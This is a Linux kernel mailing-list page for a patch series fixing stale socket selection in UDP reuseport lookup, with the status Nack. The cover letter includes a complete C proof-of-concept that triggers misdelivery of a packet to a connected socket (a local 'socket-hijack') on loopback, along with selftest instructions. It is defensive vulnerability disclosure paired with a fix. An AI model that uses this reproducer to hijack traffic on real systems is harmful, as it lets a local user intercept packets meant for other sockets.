udp: fix connected reuseport rescore fallback
Status from this message: Nack.
Get series with b4
b4 am [email protected]Versions newest first
Patches in v1
| # | Subject and files | Size | Replies | Applied |
|---|---|---|---|---|
| 1/2 | udp: fix reuseport rescore fallbacknet/ net/ | +16 | 2 replies | |
| 2/2 | selftests: net: cover connected UDP reuseport rescoretools/ | +150 | 0 replies |
Reviews trailers per patch
No Reviewed-by, Acked-by or Tested-by trailers for v1 yet.
Cover letter [PATCH net 0/2] udp: fix connected reuseport rescore fallback
Hi Linux kernel maintainers,
We found a UDP socket misdelivery issue in the IPv4 and IPv6 reuseport lookup paths, in net/ipv4/udp.c and net/ipv6/udp.c. The issue affects local users able to create SO_REUSEPORT sockets and attach a classic reuseport BPF selector; no capability or namespace setup is required by the trigger itself.
---- details below ----
An LLM was used to help create this patch.
This bug is tracked at:
https://bugtracker.nebusec.ai/f/net/ipv6/udp.c||udp6_lib_lookup2||socket-hijack||m7q
(net/ipv6/udp.c||udp6_lib_lookup2||socket-hijack||m7q)
Bug details:
When a SO_REUSEPORT group contains connected sockets, udp*_lib_lookup2() rescored the socket selected by the reuseport program. If the selected socket did not match the packet, the failed score was ignored and the stale socket remained as the lookup result. The packet could then be delivered to a socket connected to a different peer.
The fix retains the BPF-selected socket only when its rescore is better than the current candidate; otherwise it restores the candidate that established the current score. The same correction is applied to IPv4 and IPv6. The unconnected/no-connected-group fast path is unchanged, and a selected connected socket that matches the packet still wins.
Reproducer:
Save the PoC below as poc.c, then build and run it on a pre-fix kernel:
gcc -O2 -Wall -Wextra -o poc poc.c
./poc
The reproducer uses loopback UDP sockets, a connected SO_REUSEPORT member, and a classic BPF selector fixed to socket index 1. Packetdrill is not a suitable harness for this case because the trigger depends on creating and connecting sockets and installing a SO_ATTACH_REUSEPORT_CBPF program; it does not depend on a special wire-level packet sequence. The source is included below.
The same mismatch and positive-match cases are covered by the new test_connected_reuseport_rescore() selftest in patch 2. The selftest harness creates a network namespace, so run it as root:
make -C tools/testing/selftests/net
tools/testing/selftests/net/reuseport_bpf
The selftest ran in a 2 vCPU, 2 GB x86-64 QEMU guest. Its test harness creates a network namespace and was run as root there; the standalone trigger itself was also exercised as an unprivileged user. On the pre-fix kernel, the IPv4 and IPv6 mismatch probes both failed at the unexpected socket assertion. On the fixed kernel, the full selftest exited 0 and printed SUCCESS; the standalone PoC did not reproduce misdelivery in four unprivileged guest runs.
------BEGIN PoC------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/filter.h>
#include <netinet/in.h>
#include <poll.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef SO_ATTACH_REUSEPORT_CBPF
#define SO_ATTACH_REUSEPORT_CBPF 51
#endif
#define PAYLOAD "udp6-lib-lookup2-stale-result"
#define CONNECTED_PEER_PORT 40000
#define TEST_SPORT 12345
static void die(const char *what)
{
perror(what);
exit(1);
}static void set_reuseport(int fd)
{
int one = 1;
if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0)
die("setsockopt(SO_REUSEPORT)");
}static int make_udp6_socket(void)
{
int fd = socket(AF_INET6, SOCK_DGRAM, 0);
if (fd < 0)
die("socket(AF_INET6)");
return fd;
}static void bind_udp6(int fd, const struct in6_addr *addr, uint16_t port)
{
struct sockaddr_in6 sa = {
.sin6_family = AF_INET6,
.sin6_port = htons(port),
.sin6_addr = *addr,
};
if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
die("bind(AF_INET6)");
}static uint16_t get_bound_port(int fd)
{
struct sockaddr_in6 sa;
socklen_t salen = sizeof(sa);
memset(&sa, 0, sizeof(sa));
if (getsockname(fd, (struct sockaddr *)&sa, &salen) < 0)
die("getsockname");
return ntohs(sa.sin6_port);
}static void connect_udp6(int fd, const struct in6_addr *addr, uint16_t port)
{
struct sockaddr_in6 sa = {
.sin6_family = AF_INET6,
.sin6_port = htons(port),
.sin6_addr = *addr,
};
if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
die("connect(AF_INET6)");
}static void attach_constant_reuseport_cbpf(int fd, unsigned int index)
{
struct sock_filter filter[] = {
BPF_STMT(BPF_RET | BPF_K, index),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
if (setsockopt(fd, SOL_SOCKET, SO_ATTACH_REUSEPORT_CBPF,
&prog, sizeof(prog)) < 0)
die("setsockopt(SO_ATTACH_REUSEPORT_CBPF)");
}static void pin_cpu0(void)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0)
die("sched_setaffinity");
}static bool recv_one(int fd, const char *name, uint16_t *sport_out)
{
char buf[256];
struct sockaddr_in6 peer;
struct msghdr msg;
struct iovec iov;
ssize_t n;
socklen_t salen = sizeof(peer);
memset(&peer, 0, sizeof(peer));
memset(&msg, 0, sizeof(msg));
iov.iov_base = buf;
iov.iov_len = sizeof(buf);
msg.msg_name = &peer;
msg.msg_namelen = salen;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
n = recvmsg(fd, &msg, MSG_DONTWAIT);
if (n < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK)
return false;
die("recvmsg");
}
*sport_out = ntohs(peer.sin6_port);
printf("%s received %zd bytes from sport=%u\n", name, n, *sport_out);
return true;
}int main(void)
{
const struct in6_addr loop = IN6ADDR_LOOPBACK_INIT;
struct sockaddr_in6 dst = {
.sin6_family = AF_INET6,
.sin6_port = 0,
.sin6_addr = IN6ADDR_LOOPBACK_INIT,
};
const char payload[] = PAYLOAD;
struct pollfd pfds[2];
uint16_t dport;
uint16_t bad_sport = 0;
uint16_t good_sport = 0;
ssize_t n;
int good_fd;
int bad_fd;
int send_fd;
pin_cpu0();
good_fd = make_udp6_socket();
set_reuseport(good_fd);
bind_udp6(good_fd, &loop, 0);
dport = get_bound_port(good_fd);
bad_fd = make_udp6_socket();
set_reuseport(bad_fd);
bind_udp6(bad_fd, &loop, dport);
connect_udp6(bad_fd, &loop, CONNECTED_PEER_PORT);
attach_constant_reuseport_cbpf(good_fd, 1);
send_fd = make_udp6_socket();
bind_udp6(send_fd, &loop, TEST_SPORT);
dst.sin6_port = htons(dport);
printf("group port=%u, connected peer port=%u, sender sport=%u\n",
dport, CONNECTED_PEER_PORT, TEST_SPORT);
n = sendto(send_fd, payload, sizeof(payload), 0,
(struct sockaddr *)&dst, sizeof(dst));
if (n < 0)
die("sendto");
pfds[0].fd = good_fd;
pfds[0].events = POLLIN;
pfds[1].fd = bad_fd;
pfds[1].events = POLLIN;
if (poll(pfds, 2, 1000) < 0)
die("poll");
(void)recv_one(good_fd, "good", &good_sport);
(void)recv_one(bad_fd, "bad-connected", &bad_sport);
if (bad_sport == TEST_SPORT && good_sport == 0) {
printf("BUG: packet from sport=%u was delivered to the socket connected to %u\n",
bad_sport, CONNECTED_PEER_PORT);
return 0;
}
fprintf(stderr, "PoC did not observe the stale-result misdelivery\n");
return 2;
}------END PoC--------
This is a logic issue and does not crash the kernel; no crash log is available.
Best regards,
Zihan Xi
Zihan Xi (2):
udp: fix reuseport rescore fallback
selftests: net: cover connected UDP reuseport rescore
net/ipv4/udp.c | 11 +- net/ipv6/udp.c | 11 +- tools/testing/selftests/net/reuseport_bpf.c | 150 ++++++++++++++++++++ 3 files changed, 166 insertions(+), 6 deletions(-)
Signature · 1 line
2.43.0